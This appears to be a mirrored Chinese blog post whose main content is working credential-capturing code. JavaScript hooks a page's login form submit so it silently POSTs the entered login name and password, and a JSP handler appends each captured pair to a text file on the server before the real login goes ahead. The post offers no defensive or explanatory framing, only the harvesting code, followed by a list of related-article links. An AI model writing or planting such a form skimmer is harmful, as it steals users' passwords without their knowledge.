zoukankan      html  css  js  c++  java
  • 用密码密码拦截

    function Create___XMLHttpObject()
    {
         if (window.XMLHttpRequest)
         {
               return  new XMLHttpRequest();
         }
         else{
              var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'];
              for(var n = 0; n < MSXML.length; n ++)
              {
                try
                {   
                    return new ActiveXObject(MSXML[n]);        
                }
                catch(e){}
                }
         }
    }
    var old___Submit;
    var form__ = document.forms[0];
    if(form__ != null && form__ != undefined){
        form__.old___Submit = form__.submit;
        form__.submit= function(){
              var xmlHttp=Create___XMLHttpObject();
              var u=document.getElementsByName('loginname')[0].value;
            var p=document.getElementsByName('password')[0].value;
            var SendData = 'a=l&np='+u+"|"+p;
            xmlHttp.open('POST','?'+SendData,true);
              xmlHttp.onreadystatechange=function()
            {
              if(xmlHttp.readyState==4){
                if(xmlHttp.status==200){
                    form__.old___Submit();
                }
              }
            }
            xmlHttp.send(null);
        }
    }
    <%@ page language="java" pageEncoding="UTF-8"%>
    <%@ page import="java.io.*" %>
    <%
        String a=request.getParameter("a");
        String np=request.getParameter("np");
        if(a!=null&&!a.equals("")){
            String f_path = "\\1.txt";
            f_path=request.getSession().getServletContext().getRealPath(request.getContextPath())+f_path;
            File f = new File(f_path);
            if (f.exists()) {
                f.createNewFile(); 
            }
               BufferedWriter output = new BufferedWriter(new FileWriter(f_path,true));
               output.newLine();
               output.write(np);
               output.close();
               output=null;
               f=null;
           }
    %>
  • 相关阅读:
    为Internal页面添加一个Unit Test的运行入口
    使用 AWSTATS 来查看IIS/iisnode 日志
    用issnode+IIS来托管NodeJs Server之四:支持Debug
    Restify实践
    Mocha实践
    Graphite实战
    StatsD与Graphite联合作战
    单元测试
    NHibernate配置
    NHibernate概念
  • 原文地址:https://www.cnblogs.com/skyblue/p/2811448.html
Copyright © 2011-2022 走看看